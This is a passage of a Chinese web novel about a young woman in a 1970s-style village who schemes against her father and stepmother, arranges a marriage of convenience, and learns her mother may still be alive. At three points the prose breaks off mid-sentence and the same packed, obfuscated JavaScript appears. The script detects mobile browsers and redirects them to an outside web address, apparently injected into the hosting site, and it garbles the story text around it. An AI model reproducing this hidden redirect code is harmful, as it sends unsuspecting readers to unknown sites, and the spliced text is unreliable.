宋大娘的眼中满是担忧,她犹豫了片刻,还是说道:“我是怕你们学你们的妈。她不就是因为许春燕的事闹死闹活的,刚生完你就跳江了吗?这么多年了,也没找着尸体,也不知道到底是死是活。你说何必呢?只要她不离,许春燕就进不了闵家的门,就没办法欺负你们四个了。太傻了,所以你看你国珍姐闹了那么一场,我从不劝她离,别管有没有孩子,你结了婚了,那男人就是你的,得听你使唤,不听就耗着,耗到他肯听为止。” 崔六没听进去后面的话,她的关注点都在她们的妈跳江自杀上面,她很诧异:“不对啊宋大娘,我爸说我妈是产后大出血,住院的时候被炮弹轰没了的,你怎么说我妈是跳江没了的?” “住院?炮弹?没有的事啊,我们这里比隔壁解放得早,没有医院被炮轰过啊。”宋大娘也迷糊了,她还没到老年痴呆的年纪呢,赶紧拉着崔六,去后面屋里找她男人,“老钱,你说,你知不知道翠柳的妈是怎么没的?” “铁牛不是说跳江没的吗?”钱大壮不爱掺和别人的家务事,白了宋大娘一眼,提醒道,“二十年来年的老黄历了,那会儿新中国还没建立呢,什么离奇的事情没有?快别翻这些老黄历了。” 宋大娘撇撇嘴,她也不想,这不是人家帮了她闺女大忙嘛,她也不是故意提的。 便拉着崔六去了东房里面,小声道:“你钱大叔嫌我多嘴了,你知道就行了,以后在许春燕面前千万别提,小心她对付你。” 崔六看出来了,宋大娘特别忌惮许春燕,是因为许春燕踹没了侯晶的胎儿? 还是因为许春燕做过别的更过分的事情? 她拉着宋大娘的手,恳切道:“宋大娘,我听姐姐说,许春燕也是二婚的?你知不知道她前头那个男人是谁啊?我问我姐,她们都说不知道。” 宋大娘明显一愣,这不可能啊,翠柳不知道正常,当时她还小呢,可那三个大的都记事了啊。 估计是不想让翠柳知道,反正知道了也找不着人了。 既然这样,她也就不说了吧。 见她沉默,崔六干脆把那奖励的肉票拿了出来:“宋大娘,给,国珍姐跟建军哥好不容易圆满了,叫他们吃顿好的庆祝庆祝。” 宋大娘的一双小眼睛,瞬间大放异彩。 她承认,她很想买肉招待女儿女婿,可是他们家孩子多,这个月早就没有肉票了,这张票简直就是及时雨。 她很激动,一时也顾不得那许多了,小声道:“她男人是老蒋那边的,跟着老蒋撤退到宝岛,回不来了。她当时怀了孕,怕路上颠簸出个意外,就没走。” “她当时怀的是我爸的孩子?”也就是闵青松,这消息可太有用了,崔六迫切要核实。 宋大娘也觉得奇怪:“按时间算,是你家老五,可是我听说,她跟她头一个男人感情很好啊,也不知道跟你爸爸什么时候勾搭上的。” 崔六也不清楚,看来她需要好好调查一下这对狗男女的社会关系了,说不定另有玄机。 试想,一个老蒋部下,怎么会放任自己的老婆跟一个农民勾搭上呢? 这不光是丢脸的事,这也门不当户不对啊。 除非许春燕不是大老婆,只是小妾…… 想到这里,崔六大概已经明确调查方向了,她又掏了张肉票出来,还从帆布包里拿了跟烤肠给她:“宋大娘,谢谢你,拿着吧,回头等房子租好了,我再来登门道谢。” 宋大娘一看,又是一张五两的肉票,烤肠是熏制的,闻着都香。 不禁喜出望外,本想就这么收了,又觉得这东西太贵重了,有点难为情,手指搓了搓衣摆,咬咬牙,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501379|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“翠柳啊,你等等,我给你钱。” 崔六没要,抱了抱老大娘的肩膀:“宋大娘,你也说了,我没妈,要不我就拜你做干妈吧。我孝敬自己干妈的,要什么钱?拿着。” 不等宋大娘拒绝,崔六已经出去了,她跟钱国珍寒暄了一下,转身问道:“建军哥,昨天那具尸体有结果了吗?” “初步怀疑是卫生所失踪的助产士,县里已经来人把尸体运走了,有消息了我再跟你说。”李建军很是感激崔六,他跟钱国珍终于做了夫妻,食髓知味,他已经不想再惯着他的老妈妈了。 崔六很为他们感到高兴,摆了摆手:“行,我去砖厂看看,有空再找你们玩。” “天这么热,喝口水吃点东西再走吧。”钱国珍摘了葡萄,还没洗,赶紧拿了一串追了出来,这是他们家种在水井旁边的,属于生产队允许的自留作物之一。 其他的还有小葱、大蒜、桃树、枣树等,种在自家院子里的,生产队不管。 崔六知道她娘家孩子多,便只摘了一颗尝尝,离开后,绕道去了侯晶家门口,假借打听房子的事,看看她男人怎么回事。 可惜侯晶家院子里养了狗,闻着陌生人的气味就叫,只得想办法弄点骨头什么的再来。 崔六去了砖厂,看看价格,还行,她多吃点瓜,多赚点现金奖励,再加上毛新美跟她说的,闵铁牛打电话找亲戚要的五百块,只要她能成功拦截下来,这房子就好盖多了。 她特地去找了趟毛新美,问道:“你知道送信的小何喜欢什么东西吗?” 毛新美很是好奇:“你看上小何了?不是吧,他妈妈很凶的,我劝你换一个吧。” 崔六哭笑不得:“不是,我想找他打听点事儿。你想歪啦!” “呼,吓我一跳。”毛新美笑了,“他呀,他喜欢看电影啊,公社放映队走到哪他跟到哪,不过我怀疑他是看上那个女放映员了。” “你是说楚家的小女儿豆苗?” “对,就是她,不过她眼光挺高的,估计玄。你想嘛,她两个姐姐都嫁得好,三哥是军人,四哥一开始是放映员,现在她接了他哥的班,普通人肯定看不上的。小何虽然工作体面,可他一嘴大龅牙,他妈妈又厉害,哪个女人想有那么一个婆婆?够呛。” 崔六有数了,那就打听一下放映队的日程,到时候去生产队找他。 从供销社离开,她打算找个懂行的老瓦匠,去村里批的那块地看看,到底需要多少人力物力,她好未雨绸缪。 这方面孙婕比她清楚,毕竟公社这边经常盖一些机构宿舍什么的,她便去了孙家。 没想到王露也在,孙阿姨今天没去上班,正在跟王露聊天。 看到她来,孙婕赶紧使了个眼色,拉着她去了西边的闺房,关了门,不说话,只不断用手比划着。 崔六摇了摇头,孙婕只好找出纸笔,写道:“王露阿姨看上你了,想把你嫁给她那个植物人儿子,明天就去你家提亲了。你惨了翠柳,这下怎么办啊。” 18. 婚事 崔六知道孙婕关心她,不过,如果是去王露家做儿媳妇,其实不会有多惨的。 她安慰道:“姐,往好了想,起码植物人不会打老婆对不对?也不用考虑怀孕生子的问题,无非是一个高级护工,顶着儿媳妇的名义,名正言顺地帮她儿子喂喂流食,擦擦身体,翻翻身,比起下地干活,这日子也不算多辛苦。” 孙婕目瞪口呆:“不是吧翠柳,你好像还挺乐意啊?” “那倒不至于,我只是说,比起陈会计,丁厂长和叶主任,跟楚泽林结婚之后的日子没有那么差。”崔六说的是实话,如果真的无路可走,做王露的儿媳妇起码日子会好过一点,公公又是粮站的,收入稳定,吃喝不愁。 孙婕还是不看好:“你就不怕,万一那个楚泽林没了……” 到时候作为楚泽林的老婆,翠柳肯定要被别人嚼舌根,说她克夫。 崔六明白孙婕的担心,她握住孙婕的手,安慰道:“姐你放心,不到万不得已,我肯定不会走这条路。” “那就好,对了,你找我什么事?”孙婕松了口气,谁乐意嫁给一个植物人啊,反正她不看好。 崔六赶紧把找瓦匠的事说了说,孙婕给她推荐了一个人,崔六记下地址,出来跟两个阿姨寒暄的时候,王露干脆打开天窗说亮话了。 “翠柳啊,你来,我跟你说个事儿。” 崔六接过孙婕递过来的凳子坐下:“王阿姨,什么事,我听着。” 她猜到王露要说婚事,只是她没想到,王露说的却是许春燕要回来了。 崔六纳闷儿:“王阿姨你怎么知道的?” “你王霞阿姨知道一点内部消息,那个许春燕好像跟县里的肖主任关系不错。肖主任你王霞阿姨也惹不起,她说这事你只能先吃一个哑巴亏。不过这么一来,你后妈回来肯定要对付你们四个。”王露坦白道,“与其到时候受气,不如早点寻个出路,你说呢?” 毕竟分户只是分户,并不能解决父母对子女在伦理上的压制。 尤其是在农村,哪怕孩子被父母虐得体无完肤,都没有办法彻底断绝关系。 到时候闵家四姐妹肯定不会有好日过的。 崔六笑了,没想到王露阿姨还挺懂策略的,先提醒她即将到来的生存危机,再提出解决办法。 她也真诚一点,直接问道:“所以王阿姨想要我做儿媳妇?敢问是嫁给你家泽林还是淙林呢?” “淙林配不上你。”王露说的是实话,“要不是沾了你楚叔叔的光,他连放映员的工作都找不到,现在这工作给了豆苗,他在家照顾泽林,丢了婚事,怨气很大。说实话,我是有点失望的,家里只有他们兄弟两个,他不照顾谁照顾?我呢,也不想再强迫他,所以我想,既然你那边有后妈咄咄逼人,我这边又需要一个贴身照顾泽林的人,那不如我们合作?” “合作?”崔六笑了,把婚事直接说成合作,这个王露阿姨还挺有意思的,她愿意洗耳恭听。 王露也笑:“你那个后妈不是一女多嫁,巴不得你过得不好吗?还收了三家的彩礼,想必都被她败得差不多了吧。到时候三家人找她要钱,她怎么办?只能再卖你一次。” “王阿姨不会买我的。”崔六不觉得王露会这么做。 王露点头:“对,那是对你的不尊重,所以我要亲自跟你说清楚。我不买你,我是真心想跟你合作。” “好,我听着。”崔六喜欢王露的直爽。 王露便把计划合盘托出,一定让许春燕以为占了大便宜,实际上赔了女儿又拿不到钱。 崔六没忍住,笑得那叫一个灿烂:“王阿姨,你可真行!哎,咱们丑话说在前头,要是你家泽林醒了看不上我,要跟我离婚,那你也得收我做女儿啊!我可不能就这么放过你。” “放心吧孩子,保证不让你吃亏。”王露看了眼孙巧音,“巧音啊,你就给翠柳做个见证,以后但凡我亏待她了,你随时可以找我算账。” 孙阿姨也觉得这个安排不错,笑着应道:“只要翠柳愿意,我一定帮忙监督你。” 三个人笑作一团,只有老实人孙婕一头雾水,这事情的发展,好像有哪里不对? 算了,翠柳高兴就好,真受了委屈的话,还有她和她妈妈给翠柳撑腰呢。 事情就这么定了,崔六赶紧去找了瓦匠,看看她之前估算的费用合不合适。 还行,跟她估算的出入不大,只要把人工费稍微调高一点就行了,毕竟天热,工人冒着酷暑,得多加点辛苦钱。 盖房的时间也要做个调整,尽量避开正午最热的时候,挑清晨、傍晚和晚上。 至于构树的清理,瓦匠就不管了,崔六什么时候弄好了再找人家安排工期。 回到家里,老六和老七正在四个姐姐睡觉的西房里翻箱倒柜,以牙还牙,可惜许春燕平时剥削得太狠,四个姐姐确实没有私房钱,找了半天就找了两张只剩半截的毛票。 两人正骂骂咧咧,门外响起了脚步声,没等她们反应过来,已经一人挨了崔六两扁担,差点屁股开花。 痛得姐妹俩鬼哭狼嚎的,立马跑去地里找她们爸爸告状去了。 崔六冷笑着丢下扁担,也不收拾房间,留着,等三个姐姐下班回来看看。 这就是她们包容忍耐的吸血鬼妹妹,真可怕。 还好原身聪明,把钱藏在了别的地方,也不知道有没有被谁挖出来给偷走。 正好现在家里就她自己,崔六便去厨房窗台下面找了把锈迹斑斑的铁铲,锁了门,转身去了后面的地里。 当初许春燕要扔掉她们妈妈的东西,几个姐姐拼着挨打,抢下了一套妈妈穿过的衣服鞋子,在荒郊野外,立了个衣冠冢。 原身就把钱藏在了坟墓旁边。 崔六把压在上面的石头搬开,挖下去两尺后,果然找到了一个油布包着的麦乳精罐子。 原身包得很仔细,罐身没有进水,打开罐子,里面的钱用油纸包着,防潮工作做得很好。 数了数,一共四百多块,这是原身攒了五年多的全部成果。 看来画图样确实赚钱,这还是被后妈克扣了一半之后的金额,如果全部自己拿着,不敢想象。 有了这四百多块,再加姐姐们搜出来的三百多,如果再把闵铁牛在供销社打电话找人索要的五百块拦截下来,那盖房子就轻松多了。 崔六直接把钱藏在了系统空间里,包括那簇新的铁罐子,和沾了泥的油布,干净的油纸。 不知道为什么,她总觉得,原身的做法越来越跟她的想法契合了。 总之,把东西收好吧,不枉原身辛苦一场。 回到家,三个姐姐已经下班回来了。 今天正好是发工资的日子,那闵铁牛已经跟往常一样,坐在八仙桌的主位那里,伸着手,厚颜无耻的问女儿们要钱。 其实每次这钱最后都落到了许春燕的腰包里,可是不行,他就是要摆谱,要做一个高高在上的封建大家长,要享受支配和奴役几个女儿的感觉。 这让崔六非常不爽,她直接转身出去,拿着铁铲去了后门那里。 那边的墙边上堆了不少乱七八糟的碎砖碎石,用来防止下雨的时候,雨水直接倒灌进家里。 因为长期在阴面,夏天雨水又多,整个地方潮气非常,随便掀开一块碎砖,下面都有惊喜。 崔六直接在系统商店里买了瓶矿泉水,咕咚咕咚喝完后,又买了个镊子,开始了她的整人大计。 臭虫?抓! 蜈蚣?抓! 蚰蜒?抓! 蜘蛛?抓! 壁虎?抓! 很快,那瓶子里面就上演起了昆虫运动会,各种扭动,攀爬滑落,再扭动,再攀爬,再滑落…… 崔六瞧着差不多了,取出系统空间里的油布,把矿泉水瓶包着。 她故作惊喜地从后门冲到八仙桌旁边:“爸,你看我挖出了什么好东西!” 正在跟三个不肯交钱的女儿对峙,闵铁牛的脸色很难看,老四的话终于给了他一点安慰,扭头问道:“什么好东西?” 崔六捂着油布,笑道:“爸,你伸手啊,好多呢,你肯定喜欢!” 闵铁牛犹豫了片刻,最终还是好奇心占了上风,他伸出手:“给我看看。” 崔六动作利索,掀开油布的瞬间已经拧开了矿泉水瓶子,瓶口朝下倾倒的时候,还用油布遮挡了一下。 等到瓶子空了,闵铁牛的尖叫声也恰到好处的响起。 他被蜈蚣咬了,等他拍开油布一看,简直了! 气得他直接破口大骂,一连串的脏字脏词不断往外冒。 正好廖书记下班,从门口路过,听到动静下车进来看了眼,廖书记傻眼了。 这个铁牛,怎么好在六个女儿面前说这种话呢?成何体统! 不行,这个季度公社的评优,是真的不能推荐闵铁牛了。 廖书记臭着脸,就这么走了。 吓得闵铁牛赶紧追了出去。 闵金菊乐不可支:“翠柳啊,你可真行!” 虽然是很幼稚的办法,可是好用得很。 崔六笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501380|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“他最怕蜈蚣,被咬了活该。对了,你们没给他钱吧?” 三个姐姐齐刷刷摇头,两个妹妹很生气,像是阶级敌人似的,狠狠剜了她们两眼,出去找爸爸。 都走了,真好!三个姐姐松了口气,把工资交给了崔六保管,崔六不肯要。 闵金菊一把摁住她的手:“拿着,不是要盖房吗?肯定还差很多,我们再想想办法。” 闵红梅也劝:“拿着吧翠柳,我们几个需要抓紧时间挣钱,只有你有时间张罗,辛苦你了。” 崔六没有再坚持,姐姐们疼她,那就拿着吧,她会替她们保管好,留着她们以后用。 现在家里没有别人,说正事,她赶紧把王露跟她的计划和盘托出。 三个姐姐都很意外。 闵红梅下意识反对:“可是照顾植物人很辛苦的。” 闵橙萱在意的不是这个,她提出了最关键的问题:“县里的肖主任跟许春燕到底什么关系,这才是最值得深思的。” “没记错的话,给陈会计和翠柳做媒的那个女人就姓肖。”闵金菊想起什么,一拍脑门,“对了,老七好像有个同学也姓肖!” “看来许春燕跟肖家绑定得挺深的。”崔六想起宋大娘的话,便干脆把许春燕的往事说了说,末了问道,“你们知道她头一个男人的事吗?” 三个姐姐你看看我,我看看你,全都陷入了沉默。 最终是闵金菊开的口:“大姐因为多嘴,被许春燕饿了三天不准吃饭,所以从那以后,我们就不敢提这件事了,怕你一样忍不住好奇,回头被许春燕虐待。” “那你们肯定知道了?”崔六觉得这个线索很关键的,问道,“她头一个男人到底叫什么?” “不知道,只知道当时大家都喊他范少帅,许春燕只是个做妾的,谈不上二婚。”闵红梅到底年长一些,还是提供了一些有用的信息,她补充道,“不过范少帅有个小老婆也姓肖,也许许春燕现在认识的肖家,跟那个小老婆有点渊源。也许她们俩是从一个老鸨那里调教出来的,说不准。” 老鸨?崔六直接傻眼:“许春燕是卖身的?” “差不多,有些老鸨会专门调教一些少女,待价而沽,可能范少帅是许春燕的头一个男人,也可能不是。”闵红梅尽力了,当初她也只是个孩子,信息渠道有限。 崔六明白了:“不急,我找机会查一查。许春燕明天就回来了,她肯定不会善罢甘休,一切照计划来。” 很快,闵铁牛回来了,被咬的地方已经涂抹了药膏,他手里拿着赶牛的鞭子,准备好好收拾收拾崔六。 没想到刚到家门口,就看到一个熟悉的身影从村道上走来。 闵铁牛诧异地打量着她:“桂香,你来做什么?” 肖桂香是专业的媒婆,她笑呵呵的,扬声道:“来给你家翠柳说媒啊。” 什么?又是翠柳? 闵铁牛心里正好有气无处撒,也不管自己承诺了什么,只管问道:“是什么样的人家?彩礼多少钱?” 肖桂香快步走近,拉着他的胳膊去旁边草垛那里,小声道:“是好人家,但不是好女婿,也不知道你愿不愿意。” 呦呵,这不正合心愿吗? 好人家,他可以冠冕堂皇地劝说翠柳嫁人。 不是好女婿,那翠柳嫁过去肯定要吃苦。 真好,终于有人能治治这个不孝女了。 闵铁牛好奇,问道:“谁啊?” “就公社粮站的楚站长!他家那个当兵的儿子不是快不行了吗?想结个婚,冲冲喜。”肖桂香拿钱办事,并不知道那楚泽林是不是真的快死了。 但是闵铁牛很希望是真的,不禁喜上眉梢:“真的?” 千万要把楚泽林冲死啊,看这个不孝女到时候还怎么得意! 他赶紧问道:“彩礼呢?多少?” 肖桂香比了六个手指头,闵铁牛简直喜出望外。 没等他开口,肖桂香补充道:“不过王婆说了,他们是为了冲喜,这彩礼钱要等他儿子活过最危险的一个月才给。” 闵铁牛好奇:“那要是活不过呢?” “减半。” 闵铁牛仔细琢磨了一下,行吧,减半就减半,他是实在受不了这个不孝女了。 立马咬咬牙:“行!你让她给我立个字据。” 肖桂香劝道:“你疯了,冲喜这种事能立字据吗?你放心,王婆说了,只要翠柳愿意留在他们家守寡,就还是这个数。” 那感情好啊,那就让翠柳守寡吧,六百块钱,值了! 19. 妈妈 闵铁牛领着肖桂香进门的那一刻,闵红梅彻底寒了心。 照着老四之前的说法,王露会找肖桂香提亲,口头承诺的彩礼金额是六百,但,提亲的原因,是楚泽林快死了,要找个人冲喜。 如果她的老子会答应,那就只能说明,这个老子是完全不值得信任的小人,毕竟他之前亲口承诺过,一定会给翠柳找个好婆家。 一个快死的男人,算什么好婆家? 嫁过去又不是跟婆婆过日子。 闵红梅的失望无以复加,尤其是当闵铁牛主动开口喊翠柳的那一刻,这个大孝女的内心,有什么东西彻底死去了,再也回不来了。 她客气地叫了声肖阿姨,转身端茶倒水去。 肖桂香坐下,看着这四个容颜姣好的姐妹,不禁眼红,她家闺女要是也这么好看就好了,她又有县里的关系,什么婆家找不到? 可惜了,她那闺女……哎,不提也罢。 她笑着握住崔六的手:“翠柳啊,阿姨早就知道,你是个有福之人。” 崔六装作不知情,好奇道:“肖阿姨,我不知道你在说什么。” 肖桂香便把王露找她提亲的事儿给说了,末了安慰道:“其实你不用担心,就算那泽林熬不过去,楚家也会认你做干女儿,重新给你找个好婆家。” 崔六不能表现出很愿意的样子,那样容易露馅儿,她毫不犹豫地拒绝了:“不去,一个快死的人有什么好说的?我又不是嫁不出去了。你这么喜欢楚泽林,你自己嫁给他好了。” 肖桂香从来没听过这么胡闹的混账话,当即拉下脸来:“闵队长,你这闺女怎么回事?上次我来,她也不这样啊。” 闵铁牛只得讪讪的笑,指了指他自己的脑袋:“她这里上次撞坏了。” 肖桂香恍然,怕不是鬼上身了吧?不过这话可不敢说。 再说了,鬼上身了才好呢,她就见不得王露得意。 王露命好啊,男人是粮站的,年纪大点的两个女儿都嫁得好,女婿也都有出息,两个儿子也都不错,至于小女儿豆苗,虽然任性了一点,可那也是平头整脸的正常人长相,不像她的女儿…… 总之,要不是楚泽林出事,王露就是全公社最幸福的农村妇女了。 现在楚泽林快死了,肖桂香真是求之不得。 她仔细打量了一番崔六,印堂那里果然有些发黑,这种人去冲喜,大概率会直接把人给冲死。 到时候王露只怕要哭死,想想就解气。 而且翠柳还年轻,肯定会改嫁,她这个媒婆又能再赚一笔介绍费。 想到这里,肖桂香略微消了消气,转身问道:“没带她去看看吗?可别结婚的时候再闹出什么幺蛾子。” “不会不会,有我在,不会的。”闵铁牛说这话,自己都没有什么把握,不过是死要面子活受罪罢了。 肖桂香瞧着事情说得差不多了,便提醒道:“闵队长,别忘了陈会计那边还等着呢,丁厂长跟叶主任也开始有意见了。你要么还钱,要么送女儿,你看着办吧。” 闵铁牛明白,赶紧好言好语的送肖桂香出去。 回到家里,但见四个女儿正在收拾东西,好像准备搬走。 这可不行,她们要是走了,他可没钱还人家彩礼,只得咬咬牙,豁出去了,嚷道:“好好好,你们走,你们要是走了,这辈子别想知道你们的妈在哪里!” 这句话简直是绝杀,四姐妹立马停下了手里的动作,齐刷刷地看着他,异口同声道:“我妈还活着?在哪儿呢?” 闵铁牛终于扳回了一城,可得意了,冷笑道:“想知道?可以啊,叫翠柳乖乖的,去楚家做儿媳妇。” 闵金菊不同意:“不行,这可是终身大事,我们不能拿翠柳的一辈子来做赌注。” “就是,万一你是骗人的呢。”闵橙萱难得出声,下意识拽住了闵红梅的胳膊,提醒这个大姐,别上当。 闵红梅却还是心存一丝侥幸,立马红着眼睛问道:“真的?那你说,我妈在哪儿?只要你说实话,我愿意代替翠柳嫁给一个快死的人。” “不行,你是陈会计的人,不能去楚家。”闵铁牛已经想清楚了,自打老四撞了脑袋,她和她的三个姐姐就开始不受控制了,与其把她们再留在家里,酿成大祸,不如把她们四个全都嫁了。 正好四个男人,四个女儿。 红梅送给陈会计,翠柳嫁给楚泽林,剩下两个女儿,一人跟丁厂长,一个去叶主任家,完美。 到时候全公社都得高看他一眼——他这四个女婿,哪个不是出类拔萃的人才,就算楚泽林快死了,那他也是一个副营长的老丈人,说出去腰杆子都粗了好几圈儿。 他很残忍地打碎了大女儿的痴心妄想,冷笑道:“你们给我乖乖的,明天我就想办法弄一张你们妈妈的近照给你们。等到你们全都听话嫁了人,我再带你们去见她!” 四姐妹全都傻眼了,妈妈的近照?妈妈果然还活着? 那她在哪儿呢? 是被闵铁牛跟许春燕联手赶走的?还是说她自己不愿意夹在这对狗男女之间,主动退出的? 依着她们妈妈那懦弱的性格,前者的可能性最大。 毕竟,她们的妈妈是因为过分善良才显得懦弱,这样的一个女人,怎么可能刚生完孩子就将孩子弃之不顾呢? 闵红梅满怀期待地看着三个妹妹,心中那一丝渺茫的希望,在这一刻,燃烧成漫天的火光。 闵橙萱默默叹了口气,好吧,大姐还是老样子,闵铁牛说什么都信。她对这件事持怀疑态度,可信度不足五成。 闵金菊也将信将疑,她看了眼崔六,崔六摇了摇头,拉着她去了里面房间:“先假装相信,明天我偷偷跟踪他,看看他从哪里拿的照片。” 闵金菊没意见,但她有点担心:“万一是在许家那个箱子里呢?我陪你去吧,许家那么多人,你打不过的。” “不用,如果真在许家,我会想办法把东西骗出来。”崔六拉着闵金菊出来,姐妹俩表示同意闵铁牛的安排。 闵铁牛可算是松了口气,翘着二郎腿抽烟去了,好像那六百块钱彩礼已经是他的了。 * 吃过晚饭,四姐妹出门去找电影放映队。 整个公社一共三台放映机,三个大队一队一台,全队轮流播放。 人多的大队,有的小队十天才能轮到一次,人少的大队,小队那边基本上一周就能轮到一次。 楚豆苗负责第三大队的放映,这会儿正在毓秀村这边调试机器。 四姐妹找过来的时候,果然看到一个大龅牙围着楚豆苗献殷勤。 那就是快递员小何,二十七岁,未婚。 据说他相亲无数次了,每次都是因为他那个凶悍的妈而折戟。 这会儿他的手里还捏着一朵月季,谄媚地弯着腰低着头,看着低头调试机器的楚豆苗,活像个哈巴狗。 崔六上前打了声招呼:“小何,你也在啊。” 小何吓了一跳,真是活见鬼了,居然有女同志主动跟他说话。 他赶紧直起腰来,仓促间脑袋磕在了楚豆苗的额头上,叫楚豆苗抬手就给了他一个大嘴巴子。 他也不生气,捂着脸笑呵呵的看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501381|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,原来是翠柳。 果然是见鬼了,这可是公社头号大美人,也是出了名的木头美人闷葫芦。 小何想了想,偷偷把月季插在了楚豆苗挽起的袖子上,转身过来搭话:“翠柳你找我?” “小何,有点事找你帮忙。”崔六看得出来,这小何估计是真心喜欢楚豆苗,要不然,当着这么多人的面,挨这么一巴掌肯定要着急。 小何茫然地挠了挠后脑勺:“找我帮忙?发电报吗?你们几个都上过小学,会写字啊。” 崔六笑着往外走:“你跟我来就是了,我有要紧事跟你说。” 小何不敢多想,赶紧跟闵家三个姐姐打了声招呼,追了上去。 两人走出去很远,一直出了村,走到田垄那里,崔六才问他:“你想送楚豆苗什么好东西,我帮你。作为回报,你帮我拦截我们家这几天的信件和汇款单。” “啊?信件好说,汇款单也要拦啊?这不好吧。”小何不情愿,闵铁牛到底是个中队长,也算是小有体面的人,回头闹起来,邮局领导肯定要给闵铁牛一个说法,那他这邮差的工作还保得住吗? 崔六也知道这样有点强人所难,所以她退了一步:“不是让你不给他们,而是你拿到之后先告诉我,我们约好时间,你趁我在家的时候来送。到时候东西过了我爸的手,被我拿走就不关你的事了。” “那……”小何找不到话反驳,只得问道,“那你给我什么好处?” “看你啊,你想要什么送给楚豆苗,我来准备。别太过分就行。”崔六的系统空间里已经攒了一些吃瓜红包奖励的东西,别的不说,光是那件呢子大衣就能让小何惊喜万分了。 不过崔六还要盖房子,到时候也许还要请别的什么人帮忙处理一些目前预料不到的问题,所以她轻易不想把呢子大衣拿出来。 小何想了想,提了个有难度的:“豆苗想要辆女式自行车,我已经攒了一些工业券,还差点,你能帮我弄几张吗?” “可以,差多少?”崔六这些天已经做了功课,知道自行车票难搞,所以普通人可以通过攒工业券来买自行车。 一般而言,一辆自行车只需要一张自行车票,但工业券的话,需要20-30张,浮动的数量一般取决于当前公社的经济水平、所属城市的工业生产水平,以及供销计划。 小何比了个七:“我每个月领工资的时候可以另一张,还要等七个月。” 崔六明白:“这样,我不确定需要几天才能给你搞到,总之你一定要帮我拦截信件和汇款单,如果我搞不到工业券,我就给你一件全新的呢子大衣,豆苗一定喜欢。如果我搞到了,我就给你工业券。” “呢子大衣?”小何的眼睛都直了,这可是好东西啊,一般人弄不到的。 崔六为了让他放心,承诺道:“等会放完电影,你去我们村口一趟,我拿给你看。” “好!”小何心动不已,他甚至开始暗暗地期待,最好弄不到工业券,这样他就可以直接送一件呢子大衣给豆苗了,说不定就成了呢。 * 昏暗的地窖里,面如菜色的女人,正抱着绣绷对着昏黄的煤油灯,一针一阵扎着那绸缎。 正忙着,一个白发苍苍的老太太走了进来:“闺女,别绣了,你就是把眼睛绣瞎了,他们也不会放你走的。歇会儿吧,吃饭。” 女人麻木地看着老太太:“我还差多少钱赎身?” “差远了,别想了。当初你男人把你卖过来,就没打算让你回去。”老太太默默叹了口气,“快吃吧,啊。别做梦了,你看看我,一辈子了,跑得了吗?快吃。” 20. 谎言 想要跟踪闵铁牛,这事有点难度。 乡土社会,到处都是熟人,只能乔装打扮一下。 崔六从放映队那边回来的路上,去了趟赵大娘家里,把吃瓜红包结算的一些烤肠、面包肉票之类的奖励都拿了些给这个恩人。 又拿了三十块钱出来,帮赵大娘的孙子治病。 赵大娘不肯收:“你大姐给过钱了,给了十块呢。” “是吗?”崔六有点意外,大姐没跟她说啊,是怕她内疚有压力吗? 哎,大姐虽然愚孝气人,可她真的疼爱妹妹。 崔六决定努努力,早点把大姐脑子里关于孝顺的糟粕思想剔除掉,让大姐学会为自己考虑。 她抓住赵大娘的手:“不管,大姐给的跟我给的不一样,大娘你收着吧。正好我想找你买一套老衣服,随便什么都好,我有急用。” 赵大娘还想拒绝,刚被朱玉民放回来的张大爷气不过,一把抢走了那三张大团结:“矫情什么?给你你就收着,不然我白白被关了几天吗?” 赵大娘翻了个白眼,没理他,转身找衣服去了,崔六跟着,还要了个破烂斗笠,一块脏兮兮的打了补丁的丝巾。 这一身换上去,再佝偻着腰身,闵铁牛大概就看不出来是她了。 她跟赵大娘道了谢,回去的路上把东西存在了系统空间里。 刚到家,就看到闵铁牛在跟两个小女儿说说笑笑的,不知道在规划什么美妙的未来。 看到她们四个回来,闵铁牛伸手便问她们要钱:“你们之前搜出来的三百多呢?给我。” 崔六拦住想开口的三姐,独自吸引火力:“都在我这儿呢,急什么?等我们看到我们妈妈的照片,自然会给你。” 闵铁牛被这句话给噎住了,这个翠柳,越来越不像话了,忤逆,不孝,脾气还臭,早知道她会变成现在这个样子,当初他就该直接把她一起卖了。 他很生气,质问道:“怎么?你还敢威胁你老子来了?看来你是不想见你妈妈了。” “谁知道你说的是真的还是假的?你那二婚老婆不一直说我妈死了吗?你现在又说她还活着,我到底相信谁呢?反正我只相信手里货真价实的钞票,其他的,等我看到我妈的照片再说吧。”崔六冷哼一声,拽着几个姐姐回房休息去了。 四个人挤在半间房间里,要跟后面半间的谷仓为伴,连落脚的地方都少得可怜。 